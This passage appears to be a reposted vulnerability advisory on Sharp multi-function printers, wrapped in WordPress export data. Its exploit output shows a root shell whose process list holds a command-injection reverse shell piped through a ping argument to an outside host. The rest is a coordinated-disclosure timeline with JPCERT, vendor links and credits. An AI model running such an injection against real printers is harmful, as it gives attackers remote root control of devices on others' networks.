groups=0(root)<br \/>bash-4.3# uname -ap<br \/>Linux SC58C36B 4.1.46-rt52 #2 SMP PREEMPT RT Fri Apr 26 12:29:16<br \/>JST 2019 aarch64 GNU\/Linux<br \/>bash-4.3# ps -auxww | grep ping<br \/>root 5022 0.0 0.0 1916 368 ? S 09:34 0:00 grep ping<br \/>root 28966 0.0 0.0 2876 1940 ? S 09:33 0:00<br \/>sh -c ping6 -c 1 -W 2 |bash -i &gt;&amp; \/dev\/tcp\/10.0.0.10\/443 0&gt;&amp;1<br \/>bash-4.3#<br \/>init-+-aarch64-fsl-lin<br \/>|-access_audit_mg<br \/>|-bcr_iface<br \/>|-blackscreen_mon<br \/>|-check_hash_daem<br \/>|-cmd_proc<br \/>|-cpu_state<br \/>|-dbus-daemon<br \/>|-dout_daemon&#8212;14*[{dout_daemon}]|-dummy_init<br \/>|-getty<br \/>|-intsrt<br \/>|-linter<br \/>|-mgrcpuif_r1b&#8212;2*[{mgrcpuif_r1b}]|-mgrcpuif_r1c&#8212;2*[{mgrcpuif_r1c}]|-nfcproc&#8212;7*[{nfcproc}]|-ocrsrv&#8212;21*[{ocrsrv}]|-oom_watch<br \/>|-poff_reboot<br \/>|-pulseaudio&#8212;{null-sink}<br \/>|-rc&#8212;S998linuxApp-+-IFS&#8212;20*[{IFS}]| |-main-+-preview&#8212;48*[{preview}]| | |-sxlinklocald<br \/>| | `-514*[{main}]| |-netp&#8212;netp&#8212;sh&#8212;bash&#8212;pstree<br \/>| |-pdl&#8212;43*[{pdl}]| |-reus_lcd_mgr&#8212;{reus_lcd_mgr}<br \/>| |-rtc_manager&#8212;{rtc_manager}<br \/>| |-2*[seriallink&#8212;6*[{seriallink}]]| |-sound_play-+-14*[{sound_play}]| | `-{threaded-ml}<br \/>| |-startx&#8212;xinit-+-X<br \/>| | `-sh-+-NX&#8212;7*[{NX}]| |<br \/>|-ui_mainview&#8212;12*[{ui_mainview}]| |<br \/>`-ui_subview&#8212;7*[{ui_subview}]| |-usbch_mgr<br \/>| |-vmstat<br \/>| |-watch_proc<br \/>| `-wlctlproc&#8212;6*[{wlctlproc}]|-2*[rotate]|-rsyslogd-+-{in:imklog}<br \/>| |-{in:immark}<br \/>| |-{in:imuxsock}<br \/>| `-{rs:main Q:Reg}<br \/>|-system_reset&#8212;6*[{system_reset}]`-udevd&#8212;2*[udevd]bash-4.3#<\/p>\n<p>## Vendor Response<\/p>\n<p>JPCERT provided a security bulletin:<br \/>https:\/\/jvn.jp\/en\/vu\/JVNVU93051062\/index.html.<\/p>\n<p>Sharp provided a security bulletin:<br \/>https:\/\/global.sharp\/products\/copier\/info\/info_security_2024-05.html.<\/p>\n<p>Toshiba provided a security bulletin:<br \/>https:\/\/www.toshibatec.com\/information\/20240531_02.html.<\/p>\n<p>## Report Timeline<\/p>\n<p>* May 2023: Security assessment performed on Sharp Multi-function printers.<br \/>* June 1, 2023: A complete report was sent to JPCERT (security contact<br \/>for Sharp).<br \/>* June 6, 2023: JPCERT aknowledged the reception of the security<br \/>assessment and asked more information about the security contact.<br \/>* June 7, 2023: Information about the security contact provided to JPCERT.<br \/>* June 7, 2023: JPCERT confirmed the reception of the security contact.<br \/>* Jul 17, 2023: Questions sent to JPCERT asking for any feedback from Sharp.<br \/>* Jul 18, 2023: JPCERT confirmed that they had a meeting with Sharp a<br \/>week ago. Sharp finished the investigation and was preparing a<br \/>document listing all the issues.<br \/>* Jul 25, 2023: JPCERT provided the Excel file with Sharp&#8217;s comments.<br \/>* Jul 26, 2023: I confirmed the reception of the documents<br \/>* Jul 28, 2023: Comments sent to JPCERT in the Excel file to ask to<br \/>re-evaluate some issues.<br \/>* Aug 1, 2023: Received responses from JPCERT regarding some of the issues.<br \/>* Aug 1, 2023: Additional information provided to JPCERT regarding a<br \/>potential disclosure of vulnerabilities if the issues are not patched.<br \/>I suggested a tripartite meeting with Sharp and JPCERT to review the<br \/>issues.<br \/>* Aug 2, 2023: JPCERT suggested solutions to get security patches in a<br \/>timely manner by prioritizing issues.<br \/>* Aug 3, 2023: Agreed with JPCERT to prioritize vulnerabilities based<br \/>on severity, then patch critical vulnerabilities as soon as possible<br \/>while delaying hard-to-fix vulnerabilities.<br \/>* Aug 4, 2023: JPCERT confirmed that they are working with Sharp to<br \/>get the issues fixed.<br \/>* Aug 16, 2023: JPCERT confirmed that they asked Sharp to reconsider<br \/>some of the issues with two buckets (short-term fixes and long-term<br \/>countermeasures) and that Sharp was working on the issues.<br \/>* Sep 13, 2023: I answered that it is an acceptable practice, since<br \/>short-term fixes and long-term countermeasures are currently being<br \/>implemented by other printer vendors.<br \/>* Sep 14, 2023: JPCERT confirmed that they are working with Sharp to<br \/>get security patches.<br \/>* Oct 10, 2023: I confirmed the reception of the updates.<br \/>* Nov 16, 2023: JPCERT provided a new Excel file with the issues and<br \/>the countermeasures provided by Sharp.<br \/>* Nov 21, 2023: Excel file was reviewed and Sharp suggested to patch<br \/>vulnerable code and remove vulnerable features.<br \/>* Jan 29, 2024: Asking about the status of the vulnerabilities (CVE,<br \/>availability of security patches).<br \/>* Jan 30, 2024: JPCERT confirmed that a JVN advisory will be published<br \/>with corresponding CVEs. Security patches will be provided by May<br \/>2024.<br \/>* Jan 30, 2024: I suggested to test patched firmware images to confirm<br \/>that vulnerabilities were correctly patched.<br \/>* Jan 31, 2024: JPCERT passed the message to Sharp regarding<br \/>additional tests of patched firmware images.<br \/>* Feb 16, 2024: JPCERT sent the updated Excel file containing the<br \/>vulnerabilities.<br \/>* Feb 16, 2024: Confirmation of the reception of the Excel file.<br \/>* Feb 20, 2024: Updated Excel file sent to JPCERT with my comments.<br \/>* Mar 1, 2024: JPCERT sent comments regarding my feedbacks.<br \/>* Mar 4, 2024: I confirmed the reception of the feedbacks.<br \/>* May 8, 2024: Email asking JPCERT when the security advisories and<br \/>security patches will be published.<br \/>* May 16, 2024: JPCERT sent a list of affected products\/versions and<br \/>confirmed that they are working on a draft.<br \/>* May 20, 2024: I suggested to include unsupported models since, based<br \/>on my testing, some unsupported models were vulnerable.<br \/>* May 21, 2024: JPCERT reported sending this suggestion to Sharp.<br \/>* May 28, 2024: JPCERT provided the JVN English edition draft<br \/>advisory, the final list of affected products and Toshiba Tech MFPs<br \/>information.<br \/>* May 28, 2024: I asked JPCERT to provide me with the list of CVEs for<br \/>the list of vulnerabilities I reported.<br \/>* May 29, 2024: JPCERT provided a list of vulnerabilities along with<br \/>CVEs and clarifications regarding some of the findings.<br \/>* May 30, 2024: Confirmation sent to JPCERT that the list was received.<br \/>* May 31, 2024: JPCERT published a security advisory:<br \/>https:\/\/jvn.jp\/en\/vu\/JVNVU93051062\/index.html.<br \/>* May 31, 2024: Sharp published a security advisory:<br \/>https:\/\/global.sharp\/products\/copier\/info\/info_security_2024-05.html.<br \/>* May 31, 2024: Toshiba published a security advisory:<br \/>https:\/\/www.toshibatec.com\/information\/20240531_02.html.<br \/>* June 27, 2024: A security advisory is published.<\/p>\n<p>## Credits<\/p>\n<p>These vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec).<\/p>\n<p>## References<\/p>\n<p>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html<\/p>\n<p>https:\/\/pierrekim.github.io\/advisories\/2024-sharp-mfp.txt<\/p>\n<p>https:\/\/jvn.jp\/en\/vu\/JVNVU93051062\/index.html<\/p>\n<p>https:\/\/global.sharp\/products\/copier\/info\/info_security_2024-05.html<\/p>\n<p>https:\/\/www.toshibatec.com\/information\/20240531_02.html<\/p>\n<p>## Disclaimer<\/p>\n<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial<br \/>Share-Alike 3.0 License: http:\/\/creativecommons.org\/licenses\/by-nc-sa\/3.0\/<\/p>\n<p>&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<\/p>\n<p>iQIzBAEBCgAdFiEEoSgI9MSrzxDXWrmCxD4O2n2TLbwFAmZ9pYoACgkQxD4O2n2T<br \/>Lbx2Iw\/\/TIRFzVnpQwVpk\/SHRg\/f7MHlQmTeSmXTJiataDytUiio8OtfWpkAHLy6<br \/>KTPW0XHxkGBrndZbeay\/hmyDHKH5yrhrzF\/OqXHetZVDKx7bzFBAkFTeuPQdgyv4<br \/>xQmfmv3DbvSrfCXMnNTMvh4XE1JT4l4Ng4fbOxx3x5s7cgBKpsw5QO045nsrWmIN<br \/>9L9mqY3h6o0lmcPt04HO\/Th1sREbNeeSzg6S5jwdM77ZZQkXg6NQ3Fob+RJkd2oK<br \/>tJJF3t48j1aIVRoW\/RAaxL0bkzbxnWC0OSKYmGSNKGlXsmpQ6BNf5baLl4ursSO\/<br \/>iIeVYhIgLNIL0NwbInbDWIBsDjEVpAh74BDBrHAafzLryPYZUL+jBw0CkJxUkyxg<br \/>HbR\/AbpHe+aXR6semM1E3pWmu2Z3Z1qGUIef+NULYUHPIpSNFqQ9sfQmzStRvz1z<br \/>unFOhjuOMlMFoPcDa3eL\/iJOl64fNE\/tu4Qi+ytt8gyy6sEFj0ZOXLJMNBg30E+s<br \/>aRdE+eAiVVp+\/Pj+O4+YGYtUzwNyW2RgdLtAXihBVzFlprSA\/26scNog39zgxPQ+<br \/>M7qjcVCxFvoL6kKvf\/Y0aDvXT27Z+yV5G5l3v29XbB77az+i5TzA9d9LSfcZv6+r<br \/>H5tsJlPs6r65uRi3JGNDBTnkW85UENOwpnwLiCrYJwhrExUjky0=<br \/>=cwDH<br \/>&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;<\/p>\n<p>&#8212; <br \/>Pierre Kim<br \/>pierre.kim.sec@gmail.com<br \/>@PierreKimSec<br \/>https:\/\/pierrekim.github.io\/<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello, Please find a text-only version below sent to security mailing lists. The complete version on &#8220;17 vulnerabilities in Sharp Multi-FunctionPrinters&#8221; is posted here:https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html The text version is also posted here:https:\/\/pierrekim.github.io\/advisories\/2024-sharp-mfp.txt === text-version of the advisory === &#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;Hash: SHA512 ## Advisory Information Title: 17 vulnerabilities in Sharp Multi-Function PrintersAdvisory URL: https:\/\/pierrekim.github.io\/advisories\/2024-sharp-mfp.txtBlog URL: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57888","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57888","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57888"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57888\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57888"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57888"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57888"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}